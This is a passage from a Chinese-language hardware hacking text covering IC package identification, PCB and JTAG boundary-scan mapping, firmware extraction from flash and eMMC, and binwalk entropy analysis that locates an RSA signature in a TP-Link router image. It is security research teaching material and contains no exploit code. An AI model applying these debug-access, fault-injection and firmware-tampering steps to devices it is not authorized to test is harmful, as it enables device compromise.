另一种相对过时的技术是 塑料引脚芯片载体 (PLCC),它可以直接焊接到 PCB 上,或者插入插座中。这些设备常用于微控制器,如果你在查看一款使用 8051 微控制器的老旧产品,可能会遇到这种封装。

PCB 上的示例 IC 封装

我们并没有单独提供大量零件的照片,而是认为展示它们在电路板中的实际样子更为有用。让我们来看一下从实际产品中取出的四块样本板。图 3-24 展示了一块来自智能锁的通信子板。

f03024

图 3-24:智能锁的示例 IC 封装

图 3-24 中标出的三个封装类型如下:

  1. QFN 封装:该设备的主要微控制器(EM3587)。

  2. WSON 封装:SPI 闪存芯片(这种封装尺寸常用于 SPI 闪存)。

  3. BGA 封装:我们无法看到任何边缘连接,因此很可能是一个小型 BGA。

我们换一个不同的智能锁设备,看看能发现什么(见 图 3-25)。

f03025

图 3-25:另一款智能锁的 IC 封装示例

图 3-25 显示了以下内容:

  1. 八引脚 SOIC:这可能是基于八引脚 SOIC 的 SPI 闪存(零件编号确认它是 SPI 闪存)。

  2. TQFP 封装:该设备的主要微控制器。

  3. QFN 封装:协处理器芯片(在这种情况下用于音频)。

  4. 八脚宽 SOIC 封装:这肯定是 SPI 闪存,因为封装很宽。

  5. TSOP/TSSOP 封装:未知 IC。

  6. TSON 封装:未知 IC。

继续以我们消费电子的例子为例,接下来让我们看看智能门铃的一个电路板(见图 3-26)。

f03026

图 3-26:智能门铃的 IC 封装示例

图 3-26 展示了以下内容:

  1. 非常小的 BGA:未知 IC。

  2. TSON 风格的非常小设备(仅两侧有引脚):未知 IC。

  3. QFN 风格的非常小设备(四面都有引脚):未知 IC。

  4. CSP 封装,几乎具有镜面般的光泽:主要微控制器,BCM4354KKUBG。在这个设备下方有 395 个间距为 0.2 毫米的焊球(我们告诉过你,CSP 很小)。

作为最后一个例子,图 3-27 展示了一块来自汽车电子控制单元(ECU)的电路板。

f03027

图 3-27:汽车 ECU 的 IC 封装

图 3-27 展示了以下内容:

  1. BGA 封装:该设备的主要处理器。

  2. TSSOP 封装:数字触发器。

  3. QFP 封装(这里只显示边缘):未知 IC。

  4. SOIC 封装:数字逻辑门。

  5. TSSOP 封装:两个未知 IC。

识别电路板上的其他组件

现在你已经看过了主要的 IC,让我们来看看其他一些组件。

端口

端口是连接设备并理解它们互联的各种组件功能的一个很好的起点。数字 I/O 端口最为有趣,因为它们可能用于常规设备通信,或者提供调试接口。

一旦你基于外观识别了端口类型,你通常会找到端口上使用的协议类型。(请参见第二章,回顾各种端口协议。)如果仅凭外观无法识别端口,可以连接示波器来测量电压并识别数据模式。注意高电压和低电压,以及你看到的最短脉冲的持续时间。最短脉冲将告诉你比特率,例如一个 8.68 微秒的脉冲,这对应于 UART 上的 115,200 比特率。比特率通常是单个比特的翻转速率;最短脉冲通常表示 0 或 1。我们通过取倒数来得到比特率。在这个例子中,1 / 0.00000868 = 115,207,我们将其四舍五入为标准波特率 115,200。

或者,你也可以从端口追踪 PCB 线路到 IC,然后利用 IC 的引脚分配信息来识别端口类型。

接头

头针基本上是内部端口,因此它们很有趣,因为它们可能暴露出一些功能,这些功能并不是为普通用户设计的,而是为了调试、制造或维修而包含在设计中的。你可能会找到内部的 JTAG、UART 和 SPI/I2C 端口。有时,头针并没有实际安装在 PCB 上,但它们的焊盘仍然存在,因此通过一些简单的焊接即可提供访问。图 3-28 展示了几个表面贴装头针的例子。

f03028

图 3-28:PCB 头针

中间的头针标记为 JTAG。这个头针并未安装,但我们将其焊接到焊盘上,从而为主 IC 提供了 JTAG 访问,因为该 IC 没有启用任何内存读取保护。这个特别的头针是 Ember 数据包跟踪端口连接器。有关更多实用的头针引脚排列,请参见附录 B。

穿孔头针更容易探测,但小型设备可能需要表面贴装头针。图 3-29 展示了设备内部的经典 UART 头针。

f03029

图 3-29:设备中的 UART 头针

头针是电路板上标有“J404”的四个排针(请注意,图中的 J404 是倒置的)。这个头针没有“标准”引脚排列,你需要进行一些反向工程来确定它的引脚配置。左边的引脚可以通过肉眼看到连接到较大的“接地平面”,你可以用万用表确认这一点。我们将在后面“映射 PCB”部分中详细讨论这个内容,见第 102 页。

模拟电子学

大多数你找到的小型组件都是模拟电子元件(电阻器和电容器),虽然你也可以找到作为表面贴装元件(SMD)存在的电感器、振荡器、晶体管和二极管。电容器和电阻器具有与本书相关的特定特性。图 3-30 中的 PCB 上有许多这样的元件。

电容器(如图 3-30 中的 C31)可以储存和释放少量电荷,常用于过滤信号。电容器就像非常快速且小型的可充电电池。它们可以每秒充放电数百万次,这意味着任何快速的电压波动都会通过充电或放电电容器来抵消其影响。其效果类似于“低通滤波器”。这也是你会看到许多电容器出现在集成电路(IC)周围,连接在电源与接地之间的原因之一。在这种功能下,它们被称为去耦电容器,它们的作用是为 IC 提供局部的电源,以防止电噪声注入电源线。它们还帮助阻止其他区域的噪声影响到 IC。如果电压故障注入(VFI)依赖于电源电压的快速变化,去耦电容器能够抵消 VFI 的影响,我们将在第五章进一步讨论电压故障注入(VFI),但可以想象,如果 VFI 依赖于电压快速变化,去耦电容器则能够消除 VFI 的影响。因此,我们首先去除尽可能多的去耦电容器,而不让系统变得不稳定。

f03030

图 3-30:表面贴装电阻和电容

电阻器(如 图 3-30 中的 R26),顾名思义,抵抗电流的流动,在我们的应用中,最有趣的功能是作为分流电阻、上拉/下拉电阻(见第二章解释)和零欧姆电阻。分流电阻用于在进行旁路分析时测量 IC 的电流(有关更多细节,请参见第八章)。表面贴装电阻器通常在其上印有一个数字,表示电阻值;例如,abc 表示 ab × 10^c 欧姆电阻。

最后,零欧姆电阻器(如 图 3-30 中的 R29)可能看起来有些神秘,因为它们不提供任何电阻;它们基本上就是导线。它们的存在意义在于允许在制造时配置电路板:零欧姆电阻可以采用与其他电阻相同的制造技术进行安装。通过放置或不放置它们,可以将电路打开或关闭,这可以用于例如作为配置输入给 IC。(举个例子,回想一下“引导配置引脚”部分,第 85 页,关于 NXP i.MX53 的 BOOT_MODE。)制造商可以选择使用相同的 PCB 设计用于调试板和生产板,但随后在相关引脚上使用零欧姆电阻来选择这些板的引导模式。这就是为什么零欧姆电阻特别值得关注;它们可以改变安全敏感的配置,因为它们容易被移除或创建。只需在相邻的焊盘之间放置一个焊锡球,就足以模拟一个零欧姆电阻。

你还可能会遇到封装尺寸标记,例如0603。这表示电阻或电容的物理尺寸;例如,0603 大约是 0.6 × 0.3 毫米。表面贴装元件的尺寸可以小到 0201,尽管随着技术的进步和消费设备的变小,尺寸仍然在不断变小。

PCB 特性

我们在 PCB 上看到的其他有趣特性包括跳线和测试点。跳线(有时称为跳带)用于通过开关它们来配置 PCB,随着特定电路的开闭,它们也会开闭。它们与零欧姆电阻的功能完全相同,只是它们更容易插入或断开。它们通常看起来像带有两到三个引脚的插头,这些引脚上有一个小的可拆卸连接器,用于例如配置特定的 IC(请参见之前提到的 NXP i.MX53 的 BOOT_MODE)。跳线尤其有趣,因为它们可能提供访问安全敏感配置的途径。图 3-31 显示了可以安装标记为 JP1 的跳线插头的焊盘。

f03031

图 3-31:跳线插头焊盘

测试点 在制造、修复或调试过程中用于提供对特定 PCB 走线的访问。测试点可以非常简单,只有 PCB 上的一个焊盘,可以通过弹簧针、完整的连接器或插头进行连接。

图 3-32 显示了可用于探测的暴露线路。

如你所见,测试点也可以是小型的裸露金属组件,示波器探头可以接触到这些组件。

f03032

图 3-32:测试点

绘制 PCB 地图

现在让我们来看一下 PCB 本身。从 PCB 中推理电路设计的过程称为 逆向工程。在第 77 页的“数据表和原理图”一节中,我们介绍了原理图和布局以及如何阅读它们。板的布局(编码在 Gerber 文件中)会发送到制造工厂进行生产。我们很少能接触到这个文件(在之前的示例中,我们通过使用开源产品来“作弊”)。实际上,我们更感兴趣的是反向过程:从物理产品回推到(安全敏感部分的)原理图。

这个过程非常有用,因为我们通常知道某个 IC 上有我们想要访问的特定信号,比如之前我们标识的启动模式引脚。或者,我们通常知道 IC 上有一个调试或串行连接器,我们想要弄清楚 PCB 上该连接器的引脚排列。

对于故障注入和电源分析等主题,我们通常需要针对某个特定的电源网进行测试。在这种情况下,我们可能有一个电源管理 IC,我们希望看到它供电的其他 IC。为此,我们需要沿着电源走线从一个 IC 连接到另一个 IC。

PCB 的作用是传输电力和信号到其组件(比如我们刚提到的集成电路和连接器)。它本质上是由导电材料、隔离材料和组件组成的三明治结构。PCB 通常由几层到几十层构成,每一层彼此电气隔离。走线 看起来像是 PCB 上的线,而 通孔 则像是走线末端的孔(参见 图 3-33)。这些通孔连接着其他层上的走线,位于 PCB 内层或表面。通常,组件位于 PCB 的正面和背面。

f03033

图 3-33:走线与通孔;通孔可能被覆盖(封闭),如本照片所示,或暴露(未封闭

PCB 的外侧有印刷标记,用于标识组件、公司标志、PCB 零件号以及其他图案。这些标记被称为 丝网印刷,在将 PCB 原理图与实际 PCB 对照时非常有用。此外,在成千上万的标注组件中寻找电阻 R33 也是一种乐趣。所有在 图 3-30 中显示的文本和线条都属于丝网印刷的一部分。

当你将集成电路(IC)引脚图映射到电路板时,通常在芯片的丝印层(以及 IC 封装上)会标注一个点,表示引脚 1。

以下参考设计符号值得记忆,尽管你也可能会找到这些元件的其他设计符号:

  • C = 电容器

  • R = 电阻器

  • JP = 跳线

  • TP = 测试点

  • U = 集成电路(IC)

  • VR = 电压调节器

  • XTAL 或 Y = 振荡器(晶体)

你可以尝试通过视觉跟踪 PCB 的电路走向,但这样做很快会变得棘手,因此最常见的方法是拿起你最喜欢的万用表,将其设置为测量电阻(记住,最好选择具有蜂鸣功能的万用表,这样你就不需要一直看着它)。在开始测量之前,了解所有的电路走线都覆盖着焊接掩膜是很重要的,焊接掩膜是使 PCB 呈现绿色、红色、黑色或其他颜色的层。焊接掩膜可以防止在制造过程中发生腐蚀和意外的焊接桥接。焊接掩膜是非导电的,因此你不能使用万用表直接接触到电路走线。然而,你可以很容易地刮掉焊接掩膜,甚至可以用万用表探针的尖端来暴露铜质走线。

万用表通过在探针之间施加微小电流并测量给定测试电流下的探针电压来测量电阻。这实际上是通过欧姆定律(V = I × R)来计算电阻。因此,你只能在无电源的电路上使用万用表。电路中存在的任何电压,充其量会干扰测量,最坏的情况下会损坏万用表。

这些走线传输输入/输出信号,如 JTAG、I2C 或 DRAM 总线信号,它们也可以形成电源和地面平面。信号通常在两个 IC 之间,或者在 IC 和端口或接头之间传递。如果你像我们建议的那样使用万用表,请注意,某些类型的元件仍然可能干扰万用表的测量。大型电容器通常看起来像是短路,因为微小的测试电流正在非常缓慢地给电容器充电,这会给出类似低电阻的读数。半导体元件可能也会在一个方向上读作低电阻,因此如果你看到一个信号似乎连接到了不合理的区域,请对你的测量结果保持怀疑。通常,直接短路(0 Ω,万用表和探针的电阻可能会测量在 0 到 10 Ω之间)是“真实”的连接;任何更高的电阻值可能是电路元件的伪影。

从 IC 引脚上,常见会看到上拉或下拉电阻连接到 IC 引脚。这些通常不是网络的“最终目的地”,所以在大多数情况下你需要进一步探查。如果你看到很多连接,可能是接地网络;通常,单一的接地平面会贯穿整个 PCB。每个 IC 至少有一个接地引脚。端口的金属外壳通常是接地的,任何连接器肯定会有接地连接到至少一个引脚。较大的 IC 可能有数十个接地引脚,以便将电流负载分布到多个引脚上。IC 还可能有独立的模拟和数字接地引脚。数字线路上的开关动作会在地线引起较大的电压差,产生大量噪声,因此可以通过使用独立接地来将其与模拟电路隔离。在某些情况下,PCB 会将这些数字和模拟接地连接起来。你通常可以在端口的金属外壳处找到接地,或通过丝印上的文字GND标识接地。

有时端口上的金属外壳(通常称为屏蔽)不会直接连接到数字接地,因此在深入研究之前,始终需要对一些潜在的接地点进行快速检查。

PCB 可以有一个或多个电源平面,每个平面通常为组件,特别是较大的 IC 提供不同的电压。常见的电压可以通过丝印上的文字识别,如 5 V、3.3 V、1.8 V 和 1.2 V。

各种电压由电压调节器电源管理 IC(PMIC)生成。电压调节器是简单的组件,它们将连接到 PCB 的基础原始电压转换为多种稳定的电压。例如,LD1117 接受 4V 到 15V 之间的原始电压,并将其转换为 3.3V。PMIC 通常用于更复杂的设备,如手机。它们提供各种电压,并且可以通过外部指令开关各种电压的开关。它们可能通过诸如 I2C 等协议与它们所供电的 SoC 进行通信,这样如果 SoC 中的操作系统需要更快运行,它可以指示 PMIC 增加供电电压。当导电大电流时,电压可能会沿着走线发生下降,因此 PMIC 的反馈电路可以验证到达组件的电压,允许 PMIC 在必要时调整电压。

有时你可能想绕过 PMIC,并提供自己的电源(例如用于故障注入)。起初,这可能看起来很棘手,因为 PMIC 在启动和操作过程中可能经过复杂的电压序列,但实际上我们很少见到只提供恒定电压会出现问题。我们猜测这些电压序列的目的是为了节省电池电量,如果你不执行这些操作,IC 的工作似乎不会受到影响。此外,当提供自有电源时,你需要保持反馈回路的完整性。因此,只向你正在调查的 IC 提供自己的独立电源。你希望 PMIC 保持正常,因为它可能在看到稳定的输出电压之前会将主 IC 保持在复位状态。

了解这些基础后,你可以开始回答以下问题:

  1. IC 或 I/O 通道运行在什么电压水平?为设备通电,测量接地与相关 IC 引脚之间的稳态电压或附近 PCB 线路上的电压。

  2. 接地平面连接到哪里?任何端口的金属外壳都将连接到地。你可以将其作为参考,在断开设备电源后,通过之前描述的蜂鸣测试识别所有其他接地点,无论是在 IC 引脚还是连接器上。

  3. 电源是如何在 PCB 上分布的?你可以像以前一样测量所有引脚上的电压,或者使用蜂鸣测试来识别所有连接到相同电源平面的点。

  4. JTAG 引脚连接到哪里?假设你已经识别了 IC 的 JTAG 引脚,但你想知道它们连接到了哪个接头或测试点。使用蜂鸣测试,在 JTAG IC 引脚和所有“可疑”点之间进行测试。如果你真的想更专业,可以取一根导线,将一端剥成“风扇”形状,如图 3-34 所示。将探针的一端连接到导线上,并“扫过”电路板,这比手动接触每个点要高效得多。如果你想更精致一点,也可以购买小型金属刷来实现相同的目的。

f03034

图 3-34:连通性测试仪

想了解更多关于 PCB 反向工程的信息,可以参考 Joe Grand 的《Printed Circuit Board Deconstruction Techniques》USENIX 论文。如果你想深入了解设计方面的内容,Christopher T. Robertson 编写的《Printed Circuit Board Designer’s Reference: Basics》(普伦蒂斯·霍尔出版社,2003 年)一书解释了 PCB 的物理制作过程。有关更多反向工程技术,可以参阅 Ng Keng Tiong 的《PCB-RE: Tools & Techniques》(CreateSpace 独立出版,2017 年)。

使用 JTAG 边界扫描进行映射

到目前为止,我们主要讨论了反向工程中用于识别 PCB 连接的被动方法。在上一章中,我们提到过 JTAG 边界扫描模式的存在。通过边界扫描,我们可以使用芯片驱动板上的信号,并使用测量设备查明该信号的走向。边界扫描还可以用来感应芯片引脚上的信号,这意味着我们可以在板上驱动信号,并找出该信号连接到哪个引脚。

边界扫描要求我们在反向工程过程中为板子提供电源。它还需要一些初步信息。我们需要一个 JTAG 头来执行这个过程!通常,使用 JTAG 边界扫描是我们在完成一些基本的反向工程工作之后的一个步骤。它还要求我们为相关设备准备一个 JTAG 边界扫描描述语言(BSDL)文件,并且该设备必须启用 JTAG 边界扫描(并非所有设备都支持)。

让我们以汽车 ECU 为例。E82 ECU 使用 NXP MPC5676R 芯片。我们可以通过简单的在线搜索找到 MPC5676R 芯片的 BSDL 文件,这意味着尝试连接 JTAG 接口是值得的。检查板子时,发现一个未安装的 14 引脚头,其外形与这些设备常用的 14 引脚 JTAG 接口非常相似。我们将一个头插到这个位置,并连接一个 JTAG 适配器(见图 3-35)。

f03035

图 3-35:JTAG 头和适配器连接到 E82 ECU;使用 1 kΩ电阻将 1 Hz 方波信号输入到测试点

接下来,我们使用 TopJTAG 软件加载 BSDL 文件,并将芯片置于EXTEST模式。在此模式下,我们可以完全控制芯片的 I/O 引脚。由于您可能会通过随意翻转引脚(例如,意外地发出开关电源的信号)而引起混乱,因此存在一定的风险。还有SAMPLE模式,这意味着芯片仍在运行,它可能会驱动输出为高或低,从而阻止有效的映射。我们将坚持使用EXTEST模式。

TopJTAG 显示 JTAG 边界扫描连接性;这对我们的反向工程非常有利。最后我们将在软件中看到像图 3-36 这样的屏幕。

f03036

图 3-36:TopJTAG 软件使用 BSDL 文件显示引脚状态的图形视图。

在图 3-36 中,您可以看到设备上每个引脚的状态。这是一个“实时”视图,因此如果引脚上的外部电压发生变化,我们可以在这张图中看到颜色变化,或者在表格中看到 I/O 值的变化。

要将测试点映射到引脚,我们可以使用信号发生器在测试点上驱动方波。您可以在图 3-35 中看到,使用 1 kΩ电阻将低电流方波信号输入到板上。我们应该能在 TopJTAG 屏幕上看到相应引脚的切换。如果没有信号发生器,您还可以将 1 kΩ电阻的一端连接到板上的 VCC 点,另一端轻触测试点。

使用该软件,你也可以做相反的操作:通过切换来自特定引脚的信号,你可以在电路板的不同位置测量,找出该引脚连接的位置。不幸的是,软件中没有生成波形的功能,但你可以使用 CTRL-T 快捷键手动完成此操作(或者找到一些按键注入软件)。我们将在附录 A 中讨论执行这种类型工作的工具。例如,Joe Grand 的 JTAGulator 可以用于自动将测试点映射到边界扫描位。

从固件中提取信息

固件镜像包含了设备上运行的大部分代码,因此查看它们通常是非常有趣的,可以帮助找到攻击点。到目前为止,我们主要讨论的是可以通过眼睛看到的信息或简单的电气测试。现在我们将跨越一个巨大的复杂性鸿沟,详细介绍如何实际操作固件。乍一看,这似乎是从 PCB 的琐碎细节上大大偏离了,但如果你回想一下我们收集信息的整体目标,分析固件是一个至关重要的步骤(在许多情况下,甚至是最重要的步骤)。在本书的其余部分,我们将讨论许多依赖固件的操作。例如,了解如何找到加密签名,是知道何时可以应用故障注入的一个重要部分;看到可能引用签名的代码,是你能够找到签名检查例程位置的一个良好迹象。

获取固件镜像

在设备实际摆在你面前,并且刚刚讨论完 JTAG 后,你可能会认为我们接下来要从设备中提取固件镜像。但考虑到最小阻力的路径,我们首先检查是否可以通过从更新网站下载固件镜像,或者如果设备支持 Linux,检查/lib/firmware目录来获取固件镜像。

固件镜像可能作为一个单独的文件提供下载,也可能嵌入在安装包中。如果是前者,请跳到下一节;如果是后者,使用你的软件逆向工程技巧在安装目录中找到更新文件。一种技巧是进行普通字符串搜索,查找设备打印出的已知字符串,尽管固件镜像通常是压缩的,你可能找不到原始字符串。你可以使用 binwalk 工具在文件中查找 LZMA 文件或 deflate(zlib/gzip)压缩镜像。事实上,我们稍后将使用 binwalk 来切割固件镜像并进一步分析。另一种方法是执行更新,然后在固件更新过程中,通过 Wireshark(用于以太网连接)或 socat(用于 Linux)等工具嗅探通信通道中的镜像。

一些设备支持 USB 直接固件更新(DFU)标准,该标准用于将固件映像下载和上传到设备中。如果目标设备支持此标准,它通常会作为一种可选的启动模式启用。例如,可以通过跳线设置此模式,或者如果板载固件映像损坏,可能会自动选择该模式。你可能通过故障注入来破坏映像加载过程,这可能仅仅是通过短接数据线,导致加载损坏的数据。一旦进入 DFU 模式,你可能能够上传(提取)固件映像。如果设备支持上传并且 dfu-util 工具支持该设备,它可以执行此操作。

该设备还可能支持其专有协议,称为 DFU 模式,并且可能有多个恢复模式。例如,iPhone 和 iPad 通常具有“恢复模式”,允许通过 USB 重新刷新设备并运行 Apple 可以更新的固件。此外,单独的“DFU 模式”运行不可更改的 ROM 代码,允许通过 USB 重新刷新设备。“DFU 模式”是一个专有协议,不符合 USB 标准的 DFU 模式。

如果你已经用尽了获取映像的软件方法,或者只是想尝试硬件攻击,你可以尝试从闪存芯片中提取固件。这对于外部闪存芯片来说是简单的做法。一些 SoC 有内部闪存,仅通过芯片级逆向工程和去封装后的微探针可访问,因此超出了本书的范围。

要将闪存芯片从电路板上取下,你需要对其进行除焊,这并不像听起来那么难,但确实需要一个热风工作站。获取映像的现成方法是购买一个内存读卡器。如果你希望尽量减少麻烦,FlashcatUSB 系列的产品是一个不错的选择。该公司生产的型号支持 SPI 和并行闪存芯片,价格从低到中等不等。

你还会看到各种读取 SPI 闪存的其他方法。解决方案已经通过 Arduino Teensy 设备和树莓派制作出来。Jeong Wook(Matt)Oh 的《逆向工程闪存内存以获取乐趣和利益》(2014 年 Black Hat 会议)描述了一种 DIY 方式来获取映像,是学习如何创建硬件与闪存芯片和闪存芯片内存编码进行交互的绝佳方法。它详细介绍了通过 FTDI FT2232H 进行 bit-banging 连接芯片并读取它的过程。

说到读取板载闪存,我们还应该提到如何读取 eMMC 芯片。这些芯片基本上是芯片形式的 SD 卡,正如第二章所述。得益于一些很好的向后兼容性,你可以在 1 位模式下运行它们(这意味着你只需要 GND、CLK、CMD 和 D0)。图 3-37 展示了一个连接的 SD 卡插接器的例子,用于读取 eMMC 内存。

f03037

图 3-37:在此板上,eMMC 闪存连接(位于板底部,不可见)可通过多个焊盘访问,您可以将引脚头插入这些焊盘。

在此示例中,我们通过接地 nRST 引脚将目标处理器保持在复位状态,然后插入 SD 卡到 USB SD 卡读卡器中。保持目标处理器在复位状态是必要的,否则它会尝试同时切换 I/O 线路。接下来,我们可以将 SD 卡上的文件系统挂载到计算机上。在此示例中,这是一个在 Linux 中可读取的标准文件系统。由 Amir “Zenofex” Etemadieh、CJ “cj_000” Heres 和 Khoa “maximus64” Hoang 于 2017 年 Black Hat 会议上发表的讲座《使用$10 SD 卡读卡器进行硬件黑客攻击》以及 Exploitee.rs Wiki 是一个宝贵的资源。

分析固件映像

接下来的任务是分析固件映像。它将包含多个块,代表不同的功能组件——例如,启动加载器的各个阶段、数字签名、密钥槽和文件系统映像。第一步是将映像分解成其组件。每个组件可能是明文的、压缩的、加密的和/或签名的。Binwalk 是一个有用的工具,用于查找固件映像中的所有组件。它通过与编码不同文件类型的“魔术”字节匹配来识别不同的部分。

对于加密数据,您首先需要弄清楚使用的加密方式和密钥。最好的方法是进行旁道分析(参见第 8 到 12 章)。常见的选项是 AES-128 或 AES-256,使用 CTR 或 CBC 模式,虽然我们也见过使用 ECB 和 GCM 模式。一旦获得密钥,就可以解密映像进行进一步分析。关于如何处理数字签名,请参见第 116 页的“签名”部分。

一旦获得包含明文或压缩块的映像,binwalk 可以帮助完成以下任务:

  • 使用--signature选项检测映像中的各种文件、文件系统和压缩方法。

  • 使用--carve--extract--dd选项提取不同的组件。如果指定--matryoshka,则会递归执行此操作。

  • 使用--opcode--disasm分析文件中的操作码来检测 CPU 架构。

  • 使用--raw搜索固定字符串。

  • 使用--entropy分析文件的 Shannon 熵或使用--fast选项分析 zlib 压缩比。使用--save将熵图保存到文件中。

  • 使用--hexdump进行十六进制转储并比较二进制文件。

  • 使用--deflate--lzma通过暴力破解找到缺少头部的压缩数据。

作为示例,让我们简要查看一些可以轻松下载的设备固件(在本例中为 TP-Link TD-W8980 路由器的固件)。我们查看的是版本 TD-W8980_V1_150514(找到为TD-W8980_V1_150514.zip)。解压缩文件后,像这样运行 binwalk:

$ **binwalk TD-W8980v1_0.6.0_1.8_up_boot\(150514\)_2015-05-14_11.16.43.bin**
DECIMAL       HEXADECIMAL     DESCRIPTION
-----------------------------------------------------------------------------------------------
17524         0x4474          CRC32 polynomial table, little endian
20992         0x5200          uImage header, header size: 64 bytes, header CRC: 0x8930352,
                              created: 2015-05-14 03:01:45, image size: 37648 bytes, Data
                              Address: 0xA0400000, Entry Point:    0xA0400000, data CRC:
                              0x1F36D906, OS: Linux, CPU: MIPS, image type: Firmware Image,
                              compression type: lzma, image name: "u-boot image" 1
21056         0x5240          LZMA compressed data, properties: 0x5D, dictionary size: 8388608
                              bytes, uncompressed size: 101380 bytes
66048         0x10200         uImage header, header size: 64 bytes, header CRC: 0xBEC297,
                              created: 2013-10-25 07:26:06, image size: 41781 bytes, Data
                              Address: 0x0, Entry Point: 0x0, data CRC: 0xBECBCEC2, OS: Linux,
                              CPU: MIPS, image type: Multi-File Image, compression type: lzma,
                              image name: "GPHY Firmware" 2
66120         0x10248         LZMA compressed data, properties: 0x5D, dictionary size: 8388608
                              bytes, uncompressed size: 131200 bytes
132096        0x20400         LZMA compressed data, properties: 0x5D, dictionary size: 8388608
                              bytes, uncompressed size: 3979748 bytes
1442304       0x160200        Squashfs filesystem 3, little endian, version 4.0,
                              compression:lzma, size: 6265036 bytes, 592 inodes, blocksize:
                              131072 bytes, created: 2015-05-14 03:09:10

输出(为了可读性进行格式化)揭示了一些有趣的信息:一个 u-boot 启动加载程序镜像 1,一个 GPHY 固件 2,以及一个 Squashfs 文件系统(Linux) 3。如果你使用 --extract--matryoshka 选项运行 binwalk,你将得到这些块作为单独的文件,包含组件的压缩和解压版本,以及解包后的 Squashfs 文件系统。

我们主要关注嵌入式系统的硬件攻击,但软件逆向工程中你可能需要的一个功能是识别加密块和签名。后续章节假设你已经弄清楚了这一点,因此我们将通过一个示例分析来说明。现在,如果我们修改 Squashfs 文件系统中的一个文件(例如 /etc/passwd/etc/vsftpd_passwd),我们会发现路由器无法接受新的固件镜像。这是因为使用了 RSA-1024 签名来验证镜像的真实性。binwalk 输出中没有显示签名,因为签名通常只是一些看似随机的字节序列,存在于特定的偏移量位置。你可以通过熵分析找到这些偏移量。

熵分析

在计算机科学中用于度量信息密度。为了我们的目的,我们使用的是 8 位熵。熵为 0 意味着一个数据块包含单一的字节值,而熵为 1 意味着一个数据块包含从 0 到 255 每个字节值的相同数量。接近 1 的熵值通常表示加密密钥、密文或压缩数据。

满怀希望和兴奋,我们再次运行 binwalk,使用 --nplot--entropy 选项:

$ **binwalk TD-W8980v1_0.6.0_1.8_up_boot\(150514\)_2015-05-14_11.16.43.bin --nplot --entropy**

DECIMAL       HEXADECIMAL     ENTROPY
--------------------------------------------------------------------------------
0             0x0             Falling entropy edge (0.660092)
24576         0x6000          Rising entropy edge (0.993507)
57344         0xE000          Falling entropy edge (0.438198)
69632         0x11000         Rising entropy edge (0.994447)
106496        0x1A000         Falling entropy edge (0.447692)
135168        0x21000         Rising entropy edge (0.994445)
1417216       0x15A000        Falling entropy edge (0.000000)
1445888       0x161000        Rising entropy edge (0.993861)
7704576       0x759000        Falling entropy edge (0.779626)

binwalk 工具计算每个块的熵,并通过查找熵的大幅变化来确定块的边界。这通常通过找到连续的压缩或加密数据块来实现,有时甚至能帮助找到密钥材料。在这个例子中,我们正在寻找一个 RSA-1024 签名(128 字节),但没有找到这样的块。

如果你再次运行 binwalk,省略 --nplot 选项,它会生成如图 Figure 3-38 所示的图表。

f03038

图 3-38:使用默认设置的 binwalk 熵输出

图表也没有显示我们要寻找的 1,024 位/128 字节签名。虽然这个签名可能嵌入在某个块中,但我们已经自作自受。我们使用 binwalk 的方式永远不会显示一个 128 字节的熵峰。还记得熵是如何计算的么?这意味着 binwalk 会将文件切割成数据块,并计算这些块的熵值。默认情况下,块大小似乎是 0x1000,或者 4,096 字节。如果我们的 128 个随机字节嵌入在一个 4,096 字节的块中,那么熵值的影响就微乎其微。

这就是为什么 binwalk 有 --block 选项的原因。现在,虽然很有诱惑使用 128 字节的块大小,但如果签名并不恰好存储在一个块内,我们仍然无法得到清晰的熵峰。因此,为了安全起见,我们倾向于使用 16 字节的块大小。

现在,我们遇到了另一个问题:执行非常慢。输出仅显示以下内容:

$ **binwalk TD-W8980v1_0.6.0_1.8_up_boot\(150514\)_2015-05-14_11.16.43.bin --save --entropy \**
**--block=16**

DECIMAL       HEXADECIMAL     ENTROPY
--------------------------------------------------------------------------------
0             0x0             Falling entropy edge (0.384727)

这并不太有用,因为根本没有识别出任何块。输出图表在图 3-39 中也没有显示我们想要的内容。

f03039

图 3-39:使用 16 字节块大小的熵输出

其原因是熵的计算。重要的是要理解,对于小于 256 字节的块,根据定义,熵不可能是 1。实际上,熵为 1 仅在每个字节值在块中具有相同的频率时才能实现。如果一个块小于 256 字节,就不可能为每个字节值具有 1 或更高的频率;因此,熵不可能是 1。事实上,当块长度为 16 时,熵最大为 0.5。

由于 binwalk 进行熵的边缘检测,我们需要调整上升和下降边缘的阈值。如果最大熵为 0.5,你可以设置例如--high=0.45--low=0.40。或者,你可以使用--verbose选项查找你自己的熵“峰值”,该选项会输出每个块的熵值。

当然,边缘检测不起作用。我们得到了超过 2000 个边缘。原因再次是熵的计算。你能猜出Glib jocks quiz nymph to vex dwarf的熵是多少吗?使用 16 字节的块,第一个块的熵为 0.447。这是因为块大小越小,非随机字节序列偶然只包含唯一字节的可能性越高,因此熵达到最大(换句话说,我们得到了假阳性)。

让我们运用一点常识。如果我们要把一个签名存储在图像中,我们会把它放在哪里呢?很可能我们会把它放在我们要保护的块之前或之后。让我们看看前 0x400 个字节:

$ **binwalk --entropy --block 16 --high 0.45 --low 0.40 --save --length 0x400**

DECIMAL       HEXADECIMAL     ENTROPY
----------------------------------------------------------------------
0             0x0             Falling entropy edge (0.384727)
64          1 0x40            Rising entropy edge (0.500000)
80            0x50            Falling entropy edge (0.101410)
208         2 0xD0            Rising entropy edge (0.500000)
336           0x150           Falling entropy edge (0.000000)
608           0x260           Falling entropy edge (0.330848)
640           0x280           Falling entropy edge (0.378050)
688           0x2B0           Falling entropy edge (0.315223)
784           0x310           Falling entropy edge (0.165558)
912           0x390           Falling entropy edge (0.347580)
976           0x3D0           Falling entropy edge (0.362425)

看起来有两个高熵区域:0x40处的 16 字节 1 和0xD0处的 128 字节 2。128 字节块在图 3-40 中的熵图上明显可见。

如果你采用本章早些时候描述的技巧,你应该已经找到了github.com/xdarklight/mktplinkfw3/项目页面,那里文档化了该固件映像的头部格式。你猜对了:0xD0 是 RSA 签名(而 0x40 是 MD5 校验和)。

f03040

图 3-40:更详细的熵分析,集中在感兴趣的区域

签名

对于签名数据,你需要签名密钥或绕过签名验证的方法,以便加载修改过的固件(我们将在第六章讨论如何绕过签名验证)。

回到我们的固件镜像:要检查数据签名,请修改固件镜像中的一个字节,这个修改不会导致执行失败(例如,在一个字符串常量中,如调试或错误信息)。如果设备在此镜像下无法启动,那么它很可能正在进行签名验证或校验和。需要一些逆向工程来确定是哪种验证方式,尽管这可能不简单。至少验证第一个固件启动阶段的代码将位于 ROM 中,不在你的视野范围内。

